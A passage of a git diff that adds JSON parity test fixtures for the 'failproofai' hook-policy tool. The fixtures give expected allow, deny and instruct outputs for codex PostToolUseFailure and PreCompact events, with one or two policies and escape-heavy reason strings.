"output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..eb89159f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..09224cf9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d3995b79 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8f857a2f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6bc9eb64 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..113c370e --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2ff7415d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..118e8b8d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..60ec2c25 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c12be580 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e9ceb35d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3c030863 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..10c832df --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b94ee124 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dc8d8bbb --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0efbb147 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..42ba51ce --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..80caa6c5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..63fa8dbd --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 